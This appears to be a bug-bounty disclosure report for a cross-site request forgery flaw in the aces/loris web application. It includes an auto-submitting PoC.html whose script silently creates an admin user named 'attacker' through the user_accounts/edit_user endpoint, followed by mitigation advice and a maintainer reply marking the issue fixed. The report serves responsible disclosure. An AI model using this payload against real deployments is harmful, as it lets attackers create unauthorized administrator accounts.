Cross-Site Request Forgery (CSRF) in aces/loris


Reported on

Aug 17th 2021

✍️ Description

Attacker able to create admin user with CSRF attack.

It does not matter at all that your application run in localhost or elsewhere, just it is enough to run on a browser and another low privilege user or attackers know the IP address or hostname of your application.

In CSRF attacks it is necessary that a user logged into your application and just going to a malicious website and after that only with a redirection attacker can create a admin user , this means only with visiting a site a admin user will be created.

🕵️‍♂️ Proof of Concept

1.fisrt admin already should be logged in Firefox or Safari.

2.Open the PoC.html (it is auto-submit).

3.Here a admin with username attacker will be created after the PoC.html file opened.

// PoC.html

  <script>history.pushState('', '', '/')</script>
      function submitRequest()
        var xhr = new XMLHttpRequest();"POST", "https:\/\/\/user_accounts\/edit_user\/", true);
        xhr.setRequestHeader("Accept", "text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/webp,*\/*;q=0.8");
        xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
        xhr.setRequestHeader("Content-Type", "application\/x-www-form-urlencoded");
        xhr.withCredentials = true;
        var body = "UserID=attacker&Password_hash=&NA_Password=on&__Confirm=&First_name=aaa&Last_name=aaaa&Degree=&Position_title=&Institution=&Department=&Address=&City=&State=&Country=&Fax=&";
        var aBody = new Uint8Array(body.length);
        for (var i = 0; i < aBody.length; i++)
          aBody[i] = body.charCodeAt(i); 
        xhr.send(new Blob([aBody]));
    <form action="#">
      <input type="button" value="Submit request" onclick="submitRequest();" />

💥 Impact

This vulnerability is capable of create any admin user.


The easiest way that you set strict attribute on each cookie. The best way is that you set a CSRF token in each endpoint.


We have contacted a member of the aces/loris team and are waiting to hear back 3 years ago
aces/loris maintainer
3 years ago

Thank you for reporting this.

This should be fixed by the same bugfix for the samesite session cookie attribute as your other reports.

aces/loris maintainer marked this as fixed with commit 13df53 3 years ago
The fix bounty has been dropped
to join this conversation